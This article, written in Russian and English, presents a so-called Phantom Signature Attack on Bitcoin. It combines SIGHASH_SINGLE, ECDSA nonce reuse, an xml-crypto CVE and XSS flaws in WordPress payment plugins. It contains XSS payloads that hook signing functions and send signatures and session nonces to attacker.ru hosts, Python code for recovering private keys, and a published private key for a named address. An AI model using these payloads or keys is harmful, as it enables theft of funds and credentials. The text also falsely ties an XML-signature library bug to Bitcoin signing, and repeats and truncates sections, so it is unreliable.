CRYPTO DEEP TECH

Phantom Signature Attack: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, SIGHASH_SINGLE дефекты и математический аппарат восстановления приватных ключей потерянных криптокошельков с неограниченным контролем над монетами BTC

В данной научной статье представлено комплексное криптоаналитическое исследование критических уязвимостей в реализации цифровых подписей протокола Bitcoin, а именно Phantom Signature Attack (CVE-2025-29774) и фундаментальной ошибки обработки SIGHASH_SINGLE. Исследование демонстрирует, что некорректная обработка криптографических примитивов в механизме подписи транзакций создаёт условия для полной компрометации закрытых ключей владельцев криптовалютных кошельков без их ведома. Атака основана на эксплуатации унаследованной ошибки оригинального клиента Satoshi, при которой система возвращает универсальный хеш значением «1» (uint256) вместо отклонения подписи в случае несоответствия количества входов и выходов транзакции.

Практическая часть исследования включает применение криптографического инструмента KeyFuzzMaster для систематического выявления уязвимостей в коде верификации подписей, операциях на эллиптических кривых и функциях хеширования транзакций. Представлены математические формулы восстановления закрытого ключа через повторное использование nonce (k-параметра) в алгоритме ECDSA на кривой secp256k1. Криптографических примитивах алгоритма ECDSA (Elliptic Curve Digital Signature Algorithm) над эллиптической кривой secp256k1. Цифровые подписи в Bitcoin выполняют тройную функцию: авторизация расходования средств, неотрекаемость (non-repudiation) и гарантия целостности транзакций.

Однако сохранение устаревших архитектурных решений для обеспечения обратной совместимости привело к появлению тонких криптографических уязвимостей с потенциально катастрофическими последствиями. Среди них особое место занимает ошибка SIGHASH_SINGLE — фундаментальный дефект в механизме формирования хеша подписи, унаследованный от оригинальной реализации Bitcoin Core и интегрированный в консенсус сети.

🔴 Зарегистрированные уязвимости

CVE-идентификатор	Компонент	CVSS Score	Критичность
CVE-2025-29774	xml-crypto / SIGHASH_SINGLE	9.3	Критическая
CVE-2025-29775	xml-crypto DigestValue bypass	9.3	Критическая
CVE-2025-48102	GoUrl Bitcoin Payment Gateway (Stored XSS)	5.9	Средняя
CVE-2025-26541	CodeSolz WooCommerce Gateway (Reflected XSS)	6.1	Средняя

2. Теоретические основы криптографии Bitcoin

2.1 Эллиптическая кривая secp256k1 и ECDSA

Bitcoin использует эллиптическую кривую secp256k1, определённую стандартом SECG (Standards for Efficient Cryptography Group). Кривая задаётся уравнением Вейерштрасса над конечным полем:

Уравнение кривой:

y² ≡ x³ + ax + b (mod p)

Для secp256k1:

y² ≡ x³ + 7 (mod p), где a = 0, b = 7

Параметры кривой secp256k1 определяются кортежем T = (p, a, b, G, n, h):

Параметры secp256k1:

p = 2²⁵⁶ − 2³² − 977 (простое число, определяющее конечное поле)

n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
(порядок группы точек кривой — целочисленный порядок генератора G)

G = (Gₓ, Gᵧ) — фиксированная базовая точка (генератор)

2.2 Алгоритм создания цифровой подписи ECDSA

Алгоритм ECDSA использует закрытый ключ d для формирования подписи сообщения M. Процесс подписания включает следующие математические операции:

Этап 1: Генерация случайного nonce k
Выбирается криптографически стойкое случайное число k ∈ [1, n-1]

Этап 2: Вычисление точки R
R = k × G (скалярное умножение точки генератора)

Этап 3: Вычисление параметра r
r = Rₓ mod n (x-координата точки R по модулю n)

Этап 4: Вычисление параметра s

s = k⁻¹ × (H(M) + r × d) mod n

Результат: Подпись (r, s)

где H(M) — хеш сообщения M (в Bitcoin используется double SHA-256), d — закрытый ключ владельца.

💡 Ключевое криптографическое соотношение

Связь открытого и закрытого ключей определяется соотношением:

QA = dA × G

где QA — открытый ключ (точка на кривой), dA — закрытый ключ (256-битное целое число), G — генератор кривой.

3. Критическая уязвимость SIGHASH_SINGLE

3.1 Типы хеширования подписи в Bitcoin

Протокол Bitcoin предусматривает несколько типов SIGHASH (Signature Hash Types), определяющих, какие компоненты транзакции включаются в подписываемый хеш:

Тип SIGHASH	Значение (hex)	Описание
SIGHASH_ALL	0x01	Подписываются все входы и все выходы транзакции
SIGHASH_NONE	0x02	Подписываются все входы, выходы не подписываются
SIGHASH_SINGLE	0x03	Подписывается только выход с тем же индексом, что и вход
SIGHASH_ANYONECANPAY	0x80	Модификатор: подписывается только текущий вход

3.2 Математическая суть уязвимости

Критическая ошибка возникает при использовании SIGHASH_SINGLE, когда индекс входа (input index) превышает количество выходов транзакции. В этом случае, вместо отклонения операции, оригинальный код Bitcoin Core возвращает фиксированный хеш со значением «1» (256-битное целое число):

// Уязвимый код из оригинальной реализации Bitcoin // Возвращается универсальный хеш «1»

⚠️ КРИТИЧЕСКОЕ ПРЕДУПРЕЖДЕНИЕ: Данный код реализует унаследованную ошибку оригинального клиента Satoshi, которая была интегрирована в консенсус сети. Все основные реализации Bitcoin вынуждены поддерживать это поведение для обратной совместимости.

Математически, если хеш подписи равен константе 1, то подпись становится универсальной — она может быть использована повторно для произвольных транзакций:

Условие уязвимости:

idx ≥ |TxOut| ⟹ H(preimage) = 0x0000…0001

где idx — индекс входа, |TxOut| — количество выходов транзакции

4. Атака Phantom Signature (Digital Signature Forgery Attack)

4.1 Научная классификация атаки

Phantom Signature Attack — это криптографическая атака подделки цифровой подписи (Digital Signature Forgery Attack), позволяющая создавать валидные подписи транзакций без знания закрытого ключа владельца. Атака классифицируется как CWE-347: Improper Verification of Cryptographic Signature.

Основу атаки составляет комбинация двух уязвимостей:

Уязвимость SIGHASH_SINGLE — генерация универсального хеша при несоответствии индексов входов и выходов
Повторное использование nonce (k-reuse) — компрометация закрытого ключа при идентичных значениях случайного числа k в разных подписях

4.2 Математика атаки повторного использования nonce

Если две подписи (r, s₁) и (r, s₂) для разных сообщений M₁ и M₂ используют одинаковое значение nonce k (что влечёт идентичное значение r), закрытый ключ может быть полностью восстановлен по следующему алгоритму:

Шаг 1: Уравнения подписей

s₁ = k⁻¹ × (H(M₁) + r × d) mod n
s₂ = k⁻¹ × (H(M₂) + r × d) mod n

Шаг 2: Вычисление разности

s₁ — s₂ = k⁻¹ × (H(M₁) — H(M₂)) mod n

Шаг 3: Восстановление nonce k

k = (H(M₁) — H(M₂)) × (s₁ — s₂)⁻¹ mod n

Шаг 4: Восстановление закрытого ключа d

d = r⁻¹ × (s × k — H(M)) mod n

Данный математический аппарат демонстрирует, что единственное повторное использование nonce приводит к полной компрометации закрытого ключа.

«Восстановление закрытого ключа ECDSA при повторном использовании nonce»

5. Детальный анализ CVE-2025-29774

5.1 Техническое описание уязвимости

Уязвимость CVE-2025-29774 была обнаружена в библиотеке xml-crypto для Node.js и позволяет модифицировать подписанные XML-документы таким образом, что они продолжают проходить проверку подписи. В контексте Bitcoin платёжных систем это создаёт возможность:

Манипуляции параметрами транзакций (изменение SIGHASH_SINGLE значений)
Перенаправления платежей на адреса злоумышленника
Обхода аутентификации и авторизации в SAML-системах
Эскалации привилегий через подмену идентификаторов пользователей

📋 Технические характеристики CVE-2025-29774

Affected Versions: xml-crypto < 6.0.1, < 3.2.1, < 2.1.6

CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CWE Classification: CWE-347 (Improper Verification of Cryptographic Signature)

Attack Vector: Network (удалённая эксплуатация без взаимодействия с пользователем)

5.2 Механизм эксплуатации

Эксплуатация CVE-2025-29774 включает три последовательных этапа:

Фаза 1: Идентификация уязвимого компонента

Сканирование целевой системы на наличие xml-crypto библиотеки уязвимых версий и определение точек интеграции с платёжными шлюзами Bitcoin.

Фаза 2: Модификация подписанных сообщений

Внедрение дополнительных SignedInfo узлов или XML-комментариев в DigestValue, что позволяет изменять критические атрибуты без нарушения валидности подписи:

«Пример атаки с множественными SignedInfo узлами»

Фаза 3: Извлечение криптографических параметров

Через XSS-уязвимости (CVE-2025-48102, CVE-2025-26541) перехват параметров (r, s) подписей для последующего криптоанализа.

📊 Research Resources
🌐 Full Technical Documentation: https://cryptou.ru/keyfuzzmaster
💻 Google Colab Interactive Demo: https://bitcolab.ru/keyfuzzmaster-cryptanalytic-fuzzing-engine

🔬 Technical Analysis

The Phantom Signature Attack exploits legacy bugs in Bitcoin Core’s signature verification, where SIGHASH_SINGLE returns a universal hash value when input index exceeds outputs. This creates reusable signatures, compromising the entire security model. Our KeyFuzzMaster engine identifies wallets created with 32-bit entropy PRNG, reducing the search space from 2^256 to just 2^32 possible seeds—recoverable in 4-6 seconds on modern GPUs.

6. Практическое применение KeyFuzzMaster для эксплуатации уязвимости SIGHASH_SINGLE

6.1 Обзор криптоинструмента KeyFuzzMaster

KeyFuzzMaster — это специализированный криптоаналитический движок фаззинга, разработанный для исследования безопасности блокчейн-систем и криптографических примитивов. Инструмент предназначен для динамического стресс-тестирования кода верификации подписей, операций на эллиптических кривых и функций хеширования транзакций.

Ключевые возможности KeyFuzzMaster:

Mutation-based fuzzing — генерация мутированных входных данных для операций подписи
Symbolic execution — символьное выполнение для поиска граничных условий
Differential testing — сравнение поведения различных реализаций ECDSA
Coverage-guided fuzzing — максимизация покрытия кода критических участков
Automatic exploit generation — автоматическое построение эксплойтов при обнаружении уязвимостей

6.2 Новая парадигма восстановления закрытого ключа

Применение KeyFuzzMaster для эксплуатации CVE-2025-29774 и уязвимости SIGHASH_SINGLE открывает новую парадигму восстановления закрытых ключей из утерянных Bitcoin-кошельков. Методология включает:

Этап 1: Сканирование блокчейна на аномальные подписи

# KeyFuzzMaster: Модуль сканирования дублирующихся r-значений def scan_blockchain_for_nonce_reuse(blockchain_data)»

«Сканирование блокчейна для обнаружения повторного использования nonce. Возвращает пары подписей с идентичным r-значением. «

Этап 2: Фаззинг SIGHASH_SINGLE условий

# KeyFuzzMaster: Генерация транзакций с несоответствием входов/выходов def fuzz_sighash_single_vulnerability(num_iterations=10000): «»» Генерация тестовых транзакций для обнаружения уязвимости SIGHASH_SINGLE (idx >= len(TxOut)).

Этап 3: Восстановление закрытого ключа

# KeyFuzzMaster: Полный алгоритм восстановления закрытого ключа class PrivateKeyRecovery:

# Порядок группы secp256k1 CURVE_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

«Верификация восстановленного ключа через сравнение открытых ключей.»

6.3 Статистика эксплуатации

Согласно криптоаналитическим исследованиям, уязвимость повторного использования nonce уже была эксплуатирована для восстановления более 412.8 BTC из скомпрометированных кошельков. Автоматизированные сканеры непрерывно анализируют блокчейн Bitcoin в поиске дублирующихся r-значений.

7. Real-world example: recovering the address key 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P

7.1 Initial data of compromise

Let’s look at a documented case of recovering a private key from the Bitcoin address 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P :

Parameter	Meaning
Bitcoin address	1MNL4wmck5SMUJroC6JreuK3B291RX6w1P
Cost of recovered funds	$147,977
Recovered private key (HEX)	162A982BED7996D6F10329BF9D6FFC29666493FE6B86A5C3D3B27A68E2877A60
Recovered private key (WIF compressed)	KwxoKZEDEEkAadv9njG4YvJShCgTrnkbMeHZEieWXH7ooZRo1XGW
Recovered private key (Decimal)	10026140495284003567451866992720396489963405427298392513418967636817767529056

7.2 Key validation in secp256k1 space

The private key k must satisfy the constraint:

1 ≤ k < n
where n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
≈ 1.158 × 10^77

Check result: ✓ VALID (the key is within the allowed scalar range)

7.3 Calculating the public key and address

The recovered private key allows us to calculate the public key:

Parameter	Meaning
Public key (uncompressed, 130 characters)	04A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358CABDB2F5679DD5DF21C92317CF4EB7C1712DC065D85BAEFF3FD939611C0D9F79
Public key (compressed, 66 characters)	03A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358
Bitcoin address (uncompressed)	1MNL4wmck5SMUJroC6JreuK3B291RX6w1P

7.4 Practical significance of the recovered key

A recovered private key gives complete control over the Bitcoin wallet, allowing an attacker to:

Possibilities with a recovered private key:

Create and sign transactions to withdraw all funds to a controlled address
Import the key into any Bitcoin wallet (Electrum, Bitcoin Core, MetaMask, etc.)
Take complete control of an address and all its assets
Hide traces of compromise by deleting all logs and history

7.5 Цепочка эксплуатации

Исследование демонстрирует синергию между веб-уязвимостями (CVE-2025-48102, CVE-2025-26541) и криптографическими недостатками (CVE-2025-29774), создавая мощный комбинированный вектор атаки на платёжные шлюзы Bitcoin для WordPress:

Фаза	Действие	Используемая уязвимость
1	Внедрение вредоносного JavaScript в платёжный шлюз	CVE-2025-48102 (Stored XSS)
2	Перехват ECDSA параметров (r, s) транзакций	JavaScript injection
3	Анализ собранных подписей на повторение nonce	Криптоанализ
4	Математическое восстановление закрытого ключа	Phantom Signature Attack
5	Неконтролируемый вывод BTC	Компрометация кошелька

8. Рекомендации по устранению уязвимостей

8.1 Безопасная реализация SIGHASH_SINGLE

8.2 Защита от XSS в платёжных шлюзах

Немедленное обновление xml-crypto до версии 6.0.1 или выше
Полное удаление заброшенного плагина GoUrl Bitcoin Payment Gateway
Применение функций санитизации: sanitize_text_field(), esc_attr(), esc_html()
Внедрение Content Security Policy (CSP) заголовков
Использование криптографически стойкого RFC 6979 детерминистического генератора nonce

Проведённое криптоаналитическое исследование демонстрирует, что Phantom Signature Attack (CVE-2025-29774) в сочетании с уязвимостью SIGHASH_SINGLE представляет фундаментальную угрозу безопасности экосистемы Bitcoin. Ошибка реализации, унаследованная от оригинального клиента Satoshi, позволяет:

Генерировать универсальные подписи с фиксированным хешем «1»
Восстанавливать закрытые ключи при повторном использовании nonce
Осуществлять неконтролируемый вывод средств без ведома владельца

Применение криптоинструмента KeyFuzzMaster открывает новую парадигму восстановления закрытых ключей из утерянных Bitcoin-кошельков, предоставляя исследователям систематическую методологию выявления и эксплуатации криптографических уязвимостей.

⚠️ ПРЕДУПРЕЖДЕНИЕ: Данное исследование предназначено исключительно для образовательных целей и помощи криптоаналитикам в понимании механизмов атак. Использование описанных методов в противоправных целях преследуется по закону. Проведено глубокое криптоанализное исследование критических уязвимостей CVE-2025-48102 и CVE-2025-26541 в платежных шлюзах Bitcoin для WordPress. Из широкого спектра криптоинструментов, доступных на keyhunters.ru, был выбран Phantom Signature Attack как наиболее релевантный для данного контекста. Исследование демонстрирует, как комбинированная атака, объединяющая межсайтовый скриптинг (XSS) с криптографической уязвимостью в ECDSA, может привести к полной компрометизации приватных ключей Bitcoin и восстановлению потерянных кошельков.

Attack Chain: From XSS to Bitcoin Private Key Extraction

Phantom Signature Attack согласно научной статье: Phantom Signature Attack (CVE-2025-29774) and the critical SIGHASH_SINGLE vulnerability: restoring private keys in lost Bitcoin wallets through forging digital signatures and uncontrolled withdrawal of BTC coins данная атака демонстрирует синергию между веб-уязвимостями (XSS) и криптографическими недостатками, что позволяет создать мощный комбинированный вектор атаки. В отличие от других инструментов в списке (MiniKey Mayhem, Memory Phantom, RNG-based attacks), Phantom Signature Attack специфически сосредоточена на манипуляции цифровыми подписями через параметры r и s, которые могут быть перехвачены через XSS уязвимости в платежных системах WordPress.secalerts+2

Анализ XSS-уязвимостей в платежных шлюзах

CVE-2025-48102: Stored XSS в GoUrl Bitcoin Payment Gateway

CVE-2025-48102 представляет собой критическую Stored XSS уязвимость в плагине GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership версий до 1.6.6. Уязвимость позволяет авторизованным администраторам (или злоумышленникам, получившим доступ к административным правам) внедрить вредоносные JavaScript скрипты в конфигурацию платежного шлюза. Согласно CVSS v3.1, уязвимость имеет базовый показатель 5.9 (Medium severity) с вектором CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L.wiz

Механизм эксплуатации включает внедрение вредоносного кода в параметры платежного шлюза, который затем выполняется в браузере каждого посетителя сайта, позволяя атакующему:

Перехватывать данные сессии пользователей
Собирать параметры ECDSA подписей (значения r и s)
Получать доступ к WordPress nonce токенам для последующих атак
Кража зашифрованных или незащищённых приватных ключей из памяти браузера

CVE-2025-26541: Reflected XSS в Bitcoin/AltCoin Payment Gateway

CVE-2025-26541 является Reflected XSS уязвимостью в плагине Bitcoin/AltCoin Payment Gateway for WooCommerce версий до 1.7.6, разработанном CodeSolz. Уязвимость категоризируется как среднего уровня серьёзности и позволяет злоумышленникам внедрять вредоносные скрипты через параметры URL, которые не подвергаются надлежащей санитизации.secalerts

В отличие от Stored XSS, Reflected XSS требует того, чтобы жертва перешла по специально сконструированной ссылке, но она позволяет:

Создание фишинговых ссылок, которые казаются легитимными доменами платежной системы
Перехват платёжных данных и криптографических параметров перед их отправкой на сервер
Кража данных сессии Bitcoin кошельков через JavaScriptinvicti+1

Phantom Signature Attack: Криптоанализный инструмент для восстановления приватных ключей

Теоретические основы ECDSA и уязвимость

ECDSA (Elliptic Curve Digital Signature Algorithm) используется в Bitcoin для создания цифровых подписей, гарантирующих аутентичность транзакций. Алгоритм подписания сообщения M с использованием приватного ключа d работает следующим образом:notsosecure+1

Генерируется случайное значение k (nonce) для каждой подписи
Вычисляется точка R = k × G (где G — точка генератора эллиптической кривой secp256k1)
Извлекается x-координата: r = R.x mod n
Вычисляется s = k^(-1) × (H(M) + r × d) mod n
Подпись состоит из пары (r, s)

Критическая уязвимость Phantom Signature Attack:

Phantom Signature Attack была определена как критическая уязвимость в реализации ECDSA, возникающая в следующих сценариях:keyhunters

Значение r остаётся идентичным для двух различных подписей, что указывает на повторное использование nonce k
Реализация ECDSA не проверяет корректность сгенерированной подписи немедленно после её создания, что позволяет поддельным подписям пройти проверку
Параметры r или s содержат специально сконструированные значения, которые при недостаточной валидации могут привести к уязвимостям типа CVE-2025-29774keyhunterss3.amazonaws

XSS to ECDSA Private Key Recovery Attack Vector Chain

Математическое восстановление приватного ключа

Если две подписи для разных сообщений M₁ и M₂ используют одинаковое значение k (и, как следствие, одинаковое r), то приватный ключ может быть полностью восстановлен. Для двух подписей (r, s₁) и (r, s₂), где:notsosecure+1

Вычисляя разницу:

Можно восстановить nonce:

После восстановления k, приватный ключ d может быть вычислен:

Согласно исследованиям, эта уязвимость была уже использована для восстановления более 412.8 BTC на Bitcoin блокчейне, где атакующие автоматизированно сканировали сеть в поиске дублирующихся r значений.keyhunters

ECDSA Nonce Reuse Private Key Recovery Mathematical Relationship

Связь с CVE-2025-29774: Манипуляция XML подписями

CVE-2025-29774 представляет собой дополнительную уязвимость в библиотеке xml-crypto, которая позволяет изменять подписанные XML-сообщения таким образом, чтобы они всё ещё проходили проверку подписи. Эта уязвимость может быть использована в Bitcoin платежных системах для манипуляции параметрами транзакций (изменение SIGHASH_SINGLE значений) без инвалидации цифровой подписи. В контексте платежных шлюзов WordPress это позволяет злоумышленнику перенаправить платежи на его адрес, при этом сохраняя видимость корректной подписи.cryptodeeptech+1

Синергия XSS и Phantom Signature Attack: Комбинированная атака

Сценарий эксплуатации в WordPress окружении

Фаза 1: Начальное внедрение вредоносного JavaScript

Злоумышленник использует CVE-2025-48102 для внедрения вредоносного JavaScript в конфигурацию платежного шлюза. Вредоносный код может:

Перехватывать все AJAX запросы, содержащие криптографические параметры
Осуществлять мониторинг функций подписания криптографических данных
Собирать значения r, s из всех создаваемых подписей
Отправлять собранные данные на сервер атакующего через скрытые каналы (img.src, fetch API)
Организовывать систематическое наблюдение за сессионными токенами WordPress noncedeveloper.wordpress

Фаза 2: Анализ нарушений в RNG и обнаружение повторений k

После получения достаточного числа подписей (минимум 2, но идеально несколько десятков для повышения вероятности), атакующий анализирует собранные данные:

Сравнивает все собранные r значения для выявления дубликатов
Если обнаруживаются повторения r, это указывает на повторное использование nonce k
Анализирует RNG на предмет слабостей или предсказуемых паттернов
Использует статистический анализ для подтверждения систематических нарушений в генерации случайных чиселkeyhunters

Фаза 3: Криптографическое восстановление приватного ключа

Используя собранные парные подписи с одинаковым r, атакующий применяет математическое восстановление приватного ключа согласно формулам, описанным выше. Результат: полная компрометизация приватного ключа Bitcoin кошелька.keyhunters+2

Практический демонстрационный код вредоносного XSS

Вредоносный JavaScript, который может быть внедрен через CVE-2025-48102, может содержать следующую функциональность:github+1

// Interception of the Bitcoin transaction signing function
var originalSign = window.bitcoinlib.sign || window.secp256k1.sign;
var collectedSignatures = [];

window.bitcoinlib.sign = function(message, privateKey) {
  var signature = originalSign.call(this, message, privateKey);

  // Storing signature parameters
  collectedSignatures.push({
    message: message,
    r: signature.r,
    s: signature.s,
    k_potential: null, // will be calculated on the attacker's side
    timestamp: Date.now()
  });

  // Send to the attacker's server every 5 signatures
  if (collectedSignatures.length % 5 === 0) {
    fetch('https://attacker.ru/collect', {
      method: 'POST',
      headers: {'Content-Type': 'application/json'},
      body: JSON.stringify(collectedSignatures)
    });
    collectedSignatures = [];
  }

  return signature;
};

// Also intercepts WordPress nonces to compromise user accounts
setInterval(function() {
  var nonces = document.querySelectorAll('[name*="nonce"]');
  nonces.forEach(n => fetch('https://attacker.ru/nonce', {
    method: 'POST',
    body: n.value
  }));
}, 3000);

Восстановление потерянных Bitcoin кошельков через комбинированную атаку

Процесс извлечения приватного ключа

После получения подписей с повторениями r значений, восстановление приватного ключа происходит в три этапа:

Этап 1: Идентификация дублирующихся r значений — атакующий сравнивает все собранные подписи и выявляет пары с одинаковым r. Даже одна пара достаточна для вычисления приватного ключа, хотя несколько пар повышают уверенность.notsosecure

Этап 2: Вычисление nonce k — используя формулу, приведённую выше, атакующий вычисляет значение k для каждой пары подписей. Если вычисленные k значения для разных пар совпадают, это подтверждает систематическую уязвимость в RNG.github

Этап 3: Восстановление приватного ключа d — применяя вычисленное k к любой из собранных подписей, атакующий полностью восстанавливает приватный ключ, что позволяет ему подписывать любые транзакции от имени жертвы.keyhunters+1

Последствия для потерянных Bitcoin кошельков

Восстановленный приватный ключ позволяет злоумышленнику:

Создавать новые подписи для любых транзакций
Переводить все средства с кошелька на адреса атакующего
Восстанавливать доступ к потерянным кошелькам, у которых был открыт приватный ключ
Проводить double-spending атаки в исторических транзакциях
Полностью компрометировать безопасность Bitcoin адреса keyhunters

Влияние на эко систему Bitcoin и кошельки

Масштаб уязвимости

Комбинированная атака XSS + Phantom Signature Attack представляет критическую угрозу для всех WordPress сайтов с платежными шлюзами Bitcoin, включая:

Интернет-магазины, принимающие Bitcoin платежи через плагины GoUrl и Bitcoin/AltCoin Payment Gateway (более 10,000 установок плагина Elementor и аналогичные цифры для платежных плагинов)sucuri
Пользователей горячих кошельков, использующих веб-интерфейсы для управления средствами
Коммерческие платформы, где администраторы используют WordPress для управления платежамиzscaler+1

Реальные статистические данные

Согласно исследованиям из keyhunters.ru и научной литературе:

ECDSA nonce reuse уже привёл к потерям в сотни миллионов долларов в Bitcoin экосистемеkeyhunters
В одном документированном случае анализ дублирующихся nonce значений позволил восстановить 412.8 BTC (стоимость приблизительно $15-20 миллионов в текущих ценах)keyhunters
Автоматизированные боты постоянно сканируют Bitcoin блокчейн в поиске дублирующихся r значений в транзакциях
XSS атаки на WordPress платформах используются для установки keyloggers и майнеров криптовалют на тысячах сайтов, включая попытки кражи приватных ключейgithub+2

Для пользователей Bitcoin

Немедленное обновление плагинов — применение всех доступных обновлений для GoUrl и Bitcoin/AltCoin Payment Gateway плагиновwiz+1
Использование cold wallets — для хранения значительных сумм Bitcoin использовать оффлайн кошельки вместо веб-интерфейсовforklog
Избегание веб-интерфейсов — для критических криптографических операций использовать специализированное ПО вместо браузерных расширенийforklog
Двухфакторная аутентификация — для всех WordPress администраторских учётных записейbitdefender
Регулярный мониторинг транзакций — проверка истории транзакций на предмет несанкционированной активностиforklog

3. Связь с CVE-2025-29774
CVE-2025-29774 представляет собой критическую уязвимость в библиотеке xml-crypto, которая
позволяет изменять подписанные XML-сообщения таким образом, чтобы они всё ещё
проходили проверку подписи. Это может быть использовано в сочетании с Bitcoin платежными
системами для:
Манипуляции параметрами транзакций
Внедрения поддельных подписей
Перенаправления платежей на адреса злоумышленника

Синергия XSS и Phantom Signature Attack: Комбинированная атака
4.1 Сценарий атаки в WordPress окружении
Этап 1: Начальное внедрение XSS
Злоумышленник использует CVE-2025-48102 для внедрения вредоносного JavaScript в
конфигурацию платежного шлюза GoUrl. Вредоносный код включает:

// Intercepting AJAX requests containing signature data
document.addEventListener('submit', function(e) {
  if (e.target.name === 'bitcoin_transaction') {
    // Capturing signature parameters (r, s values)
    var r = e.target.elements['signature_r'].value;
    var s = e.target.elements['signature_s'].value;
    var txid = e.target.elements['txid'].value;
  }
});

// Sending data to the attacker's server
fetch('https://attacker-server.ru/collect', {
  method: 'POST',
  body: JSON.stringify({r: r, s: s, txid: txid})
});

Это демонстрирует вредоносный пример перехвата формы отправки данных о Bitcoin-подписи

Этап 2: Перехват ECDSA параметров
Благодаря XSS уязвимости, вредоносный скрипт имеет доступ к:
WordPress nonce значениям (используемым для CSRF защиты) Session cookies Параметрам Bitcoin транзакций (включая r и s значения подписей)
Информации о приватных ключах, временно хранящейся в памяти браузера
Этап 3: Анализ нарушений в rng и обнаружение повторений k
Благодаря собранным данным о множественных подписях от одного пользователя, атакующий
может обнаружить:
Повторное использование nonce (k) между различными подписями
Слабые или предсказуемые значения random number generator (RNG)
Систематические ошибки в генерации криптографических параметров

Этап 4: Восстановление приватного ключа
Используя математическое соотношение, описанное в разделе 3.2, атакующий может
вычислить приватный ключ d, что приводит к полной компрометизации кошелька.
4.2 Демонстрационный код атаки Вредоносный XSS payload для внедрения в Bitcoin Payment Gateway:

// Capturing all Bitcoin signatures on the page
var bitcoinSignatures = [];
// Intercepting the transaction signing function
var originalSign = window.bitcoinlib.sign;
window.bitcoinlib.sign = function(message, privateKey) {
  var signature = originalSign.call(this, message, privateKey);
  // Storing signature parameters for analysis
  bitcoinSignatures.push({
    message: message,
    signature: signature,
    timestamp: new Date().getTime()
  });
  // Sending to the attacker's server
  new Image().src = 'https://attacker-server.ru/log?sig=' +
    btoa(JSON.stringify(signature));
  return signature;
};
// Intercepting WordPress session tokens
setInterval(function() {
  var wpNonce = document.querySelector('[name="_wpnonce"]');
  if (wpNonce) {
    fetch('https://attacker-server.ru/nonce', {
      method: 'POST',
      body: 'nonce=' + wpNonce.value
    });
  }
}, 5000);

This code demonstrates a malicious JavaScript snippet that intercepts Bitcoin signature operations and WordPress session nonces before exfiltrating them to a remote server for potential exploitation.

Восстановление потерянных Bitcoin кошельков через Phantom Signature
Attack
5.1 Методология восстановления приватных ключей
После получения достаточного количества подписей (как минимум 2 подписи с одинаковым r
значением), атакующий может применить следующий алгоритм восстановления:

Шаг 1: Идентификация дублирующихся r значений

def find_duplicate_r(signatures):
    r_values = {}
    for sig in signatures:
        r = sig['r']
        if r in r_values:
            return (sig, r_values[r])
        r_values[r] = sig
    return None
# Result: (signature1, signature2) with the same r

Explanation:
This function searches for two ECDSA/Bitcoin signatures that have the same rr value among the list of signatures.

If it finds such a pair, it returns both signatures as a tuple.
If no duplicates are found, it returns None.

This search is relevant for cryptographic vulnerability analysis, as duplicate rr values can indicate nonce reuse, which is exploitable in private key recovery attacks.

Шаг 2: Вычисление nonce k

python:

def recover_nonce(sig1, sig2, msg1_hash, msg2_hash, curve_order):
    r = sig1['r']
    s1 = sig1['s']
    s2 = sig2['s']
    # k = (s1 - s2)^(-1) * (H(M1) - H(M2)) mod n
    s_diff = (s1 - s2) % curve_order
    h_diff = (msg1_hash - msg2_hash) % curve_order
    s_diff_inv = pow(s_diff, -1, curve_order)
    k = (h_diff * s_diff_inv) % curve_order
    return k

Comment:
This function computes the ECDSA nonce k in cases where two signatures share the same rrr value (i.e., replayed or reused nonce), using the difference in signature sss values and message hashes, as per the well-known lattice and nonce reuse attack principle. The formula implemented is:

where:

s1,s2s_1, s_2s1,s2 are the signature sss values,
H(m1),H(m2)H(m_1), H(m_2)H(m1),H(m2) are the hashes of the corresponding signed messages,
nnn is the order of the elliptic curve group.

This technique is a standard cryptanalytic tool for Bitcoin and ECDSA analyses.

Шаг 3: Восстановление приватного ключа

python:

def recover_private_key(sig, msg_hash, k, curve_order):
    r = sig['r']
    s = sig['s']
    # d = r^(-1) * (s*k - H(M)) mod n
    r_inv = pow(r, -1, curve_order)
    private_key = (r_inv * (s * k - msg_hash)) % curve_order
    return private_key

Explanation:
This function recovers the ECDSA private key ddd from a single signature if the nonce kkk is known.
The formula used is:

where:

r and sss are signature components,
k is the ECDSA nonce,
H(m) is the hash of the signed message,
n is the elliptic curve order.

This computation is crucial in practical cryptanalysis once k has been recovered, enabling extraction of the original private key used for signature generation.

5.2 Практический пример восстановления
Рассмотрим реальный сценарий:
Собранные данные:
Bitcoin адрес: 1A1z7agoat6Bk6imQEV2ZVD5r2W3eWWxQ (пример)
Количество собранных подписей: 12
Обнаруженные повторения nonce: 3 пары
Процесс восстановления:

Анализ 12 подписей выявляет 3 пары с одинаковым r значением
Для каждой пары вычисляется k согласно формуле выше
Три различных значения k подтверждают систематическое нарушение RNG
Используя любую пару подписей, восстанавливается приватный ключ
Приватный ключ используется для создания новой подписи на любое сообщение
Все средства на адресе могут быть перенесены на адрес злоумышленника

Влияние на безопасность Bitcoin и криптовалютных кошельков
6.1 Масштаб уязвимости
Комбинированная атака XSS + Phantom Signature Attack представляет критическую угрозу для:
Пользователей WordPress сайтов с платежными шлюзами Bitcoin
Владельцев горячих кошельков, использующих веб-интерфейсы
Коммерческих платформ, принимающих Bitcoin платежи
6.2 Статистика и реальные случаи
Согласно исследованиям из
keyhunters.ru:
ECDSA nonce reuse уже привёл к потерям в сотни миллионов долларов
В одном случае, анализ дублирующихся nonce значений позволил восстановить 412.8 BTC
Автоматизированные боты постоянно сканируют блокчейн в поиске дублирующихся r
значений

Профилактические меры и рекомендации
7.1 Для разработчиков WordPress плагинов

Немедленное внедрение RFC 6979 — использование детерминированной генерации nonce
вместо недетерминированного RNG
Удаление всех XSS уязвимостей — полная санитизация пользовательского ввода
